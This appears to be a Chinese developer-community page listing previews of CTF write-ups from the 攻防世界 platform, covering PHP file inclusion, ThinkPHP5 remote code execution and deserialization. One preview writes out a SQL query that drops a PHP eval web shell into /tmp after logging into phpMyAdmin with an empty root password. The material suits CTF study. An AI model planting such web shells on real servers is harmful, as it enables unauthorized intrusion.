【攻防世界】file_include （PHP伪协议+过滤器）
打开题目环境： 进行PHP代码审计，发现这是一个文件包含漏洞。 我们尝试利用PHP伪协议中的 php://filter来读取 check.php 中的内容。 构造payload 并提交： ...
【攻防世界】php_rce （ThinkPHP5）
进入题目环境，查看页面信息： 页面提示 ThinkPHP V5，猜测存在ThinkPHP5 版本框架的漏洞，于是查找 ThinkPHP5 的攻击POC。 构造 payload: http://61.147.171.1...
【攻防世界】easyphp（PHP代码审计）
进入题目环境，检查页面内容，页面附有源代码： <?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intva...
攻防世界-Web_php_include
先用御剑扫一下发现有phpmyadmin的登录地址http://61.147.171.105:64507/phpmyadmin/phpMyAdmin默认已有root用户，其默认密码为空登陆成功后在SQL查询里执行一句话木马select "<?php @eval($_POST['1']);?>" into outfile '/tmp/1.php'则要连接的URL为 http....
[CTF/网络安全] 攻防世界 php_rce 解题详析
[CTF/网络安全] 攻防世界 php_rce 解题详析PHP RECThinkPHP V5漏洞Payload姿势总结PHP RECPHP RCE 指的是通过远程代码执行漏洞（Remote Code Execution）来攻击 PHP 程序的一种方式。简单来说，由于PHP应用程序没有正确处理外部输入数据（如用户提交的表单、请求参数等），攻击者通过某些手段向 PHP 应用程序中注入恶意代码，然后通....
![[CTF/网络安全] 攻防世界 php_rce 解题详析](https://ucc.alicdn.com/pic/developer-ecology/c2fo6hak5a22e_3b5b72560aa443e0abed141ca097f811.png)
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解
_wakeup()及php序列化反序列化序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式，以便能够在不同的系统和应用程序之间进行传输或存储。在 PHP 中，可以使用 serialize() 函数将对象序列化为字符串，然后保存到文件或传输到其他应用程序中。序列化后的数据包含了对象的属性、方法和类型等信息，但没有对象的实例本身。反序列化则是....
![[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解](https://ucc.alicdn.com/pic/developer-ecology/c2fo6hak5a22e_1c306e0e618e47f6b020534f9bf0f27f.png)
本页面内关键词为智能算法引擎基于机器学习所生成，如有任何问题，可在页面下方点击"联系我们"与我们沟通。
PHP学习站
PHP学习资料大全
+关注